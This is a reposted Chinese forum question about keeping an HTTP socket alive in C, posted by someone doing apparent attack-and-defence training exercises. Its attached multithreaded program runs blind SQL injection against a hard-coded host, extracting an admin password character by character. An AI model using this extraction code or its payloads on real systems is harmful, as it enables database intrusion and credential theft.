求助关于socket发送http请求保持连接以连续发送请求的问题

来源:互联网  时间:2016/7/17 8:37:00

关于网友提出的“ 求助关于socket发送http请求保持连接以连续发送请求的问题”问题疑问,本网通过在网上对“ 求助关于socket发送http请求保持连接以连续发送请求的问题”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:

问题: 求助关于socket发送http请求保持连接以连续发送请求的问题
描述:

本帖最后由 Nightingale1029 于 2011-04-15 11:38:00 编辑

最近做网络攻防题,遇到sql注入,所以写了一个socket来猜字段
有个问题就是我在HTTP请求中加上了keep-alive请求,结果第二次请求发送后,read总是返回0读取,请问这是什么原因呀~~~
就是我想一直保持和服务器的连接,然后发送连续的HTTP请求,不用每次都重新链接~~~设置了keep-alive选项后read就有问题了,不知道怎么做
现在我没办法只好用Conntection:close,然后每次重建套接字连接,求解~~~
附代码如下:
#include 
#include 
#include 
#include 
#include 
#include 
#include "KMPmatch_bate.c"
#include 
#define BUFSIZE 4096
pthread_t tid[300];
char *pastr = "xing";
int failure[4];
void *require(void *);
int Connect(char *,int);
int get(int,char *);
int send_rec(int,char *,char *,int []);
int main()
{
    int result;
    int i;
    //计算匹配
    fail(failure,pastr);
    //创建线程
    for(i = 1;i <= 14;i++){
        if((result = pthread_create(&tid[i],NULL,require,(void*)i)) != 0){
            printf("%d thread creation is failed\nerrorstr:%s\n",i,strerror(result));
            continue;
        }
    }
    pthread_join(tid[i-1],NULL);
    printf("\n");
    exit(EXIT_SUCCESS);
}
int 
Connect(char *addr_list,int port) //建立连接
{
    int sockfd;
    int len,result;
    int count = 1;
    struct sockaddr_in address;
    sockfd = socket(AF_INET,SOCK_STREAM,0);
    address.sin_family = AF_INET;
    address.sin_port = htons(port);
    address.sin_addr.s_addr = inet_addr(addr_list);
    len = sizeof(address);
    while(1){
        if(connect(sockfd,(struct sockaddr *)&address,len) == -1){
            perror("连接主机失败了~");
            count++;
            if(count == 5)
                return -1;
            printf("准备第 %d 次尝试\n",count);
        }else{
            break;
        }
    }
    return sockfd;
}
int //GET方法
get(int sockfd,char *send)
{
    int len;
    len = strlen(send);
    if(write(sockfd,send,len) != len){
        perror("write wrong\n");
        exit(1);
    }
}
int
send_rec(int sockfd,char *send,char *pastr,int failure[])
{
    char buf[BUFSIZE];
    int temp = -1;
    int len;
   // puts(send);
    get(sockfd,send);
    while((len = read(sockfd,buf,BUFSIZE)) != -1 && len != 0){
        //printf("\n----------------------------while: \n%s",buf);
        if(temp == -1)
        if(pmatch(buf,pastr,failure) != -1){
            temp = 1;
            break;
        }
    }
   // printf("\n***************************************************end\n");
    return temp;
}
void *
require(void* arg)
{
    int i = (int)arg;
    int j;
    int temp;
    int sockfd;
    char buf[BUFSIZE];
    char send[BUFSIZE];
    int val;
    //sockfd = Connect("210.41.224.207",80);
    for(j = 49;j <= 122;j++){
        if(j == 58 )
            j += 7;
        sockfd = Connect("210.41.224.207",80);
        sprintf(send,"GET /asp/2/sqlserver.asp?newsid=1%%20AND%%20(SELECT%%20ASCII(SUBSTRING(passwd,%d,1))%%20FROM%%20Admin_mssql)%%3E%d HTTP/1.1\r\n\
Connection: close\r\n\
Cache-Control: no-cache\r\n\
Referer: www.game.myclover.org\r\n\
Host: www.game.myclover.org:80\n\r\n",i,j);
        temp = send_rec(sockfd,send,pastr,failure);
        if(temp == -1){
            if(i != 1)
                pthread_join(tid[i-1],NULL);
        //    printf("%3dth,%4d\n",i,j);
            printf("%c",j);
            pthread_exit((void*)0);
        }
        close(sockfd);
    }
    pthread_exit((void*)EXIT_SUCCESS);
}    

解决方案1:

 HTTP/1.1 默认就是keep-alive了
检查第一次服务器发回来的包时候包含connection:close, 可能服务器不支持长连接,不过这种可能性较小~

上一篇请教一个编程题,有点难度
下一篇很菜的问题,数组可以作为被调用函数的参数吗?
明星图片
相关文章
《 求助关于socket发送http请求保持连接以连续发送请求的问题》由码蚁之家搜集整理于网络,
联系邮箱:mxgf168#qq.com(#改为@)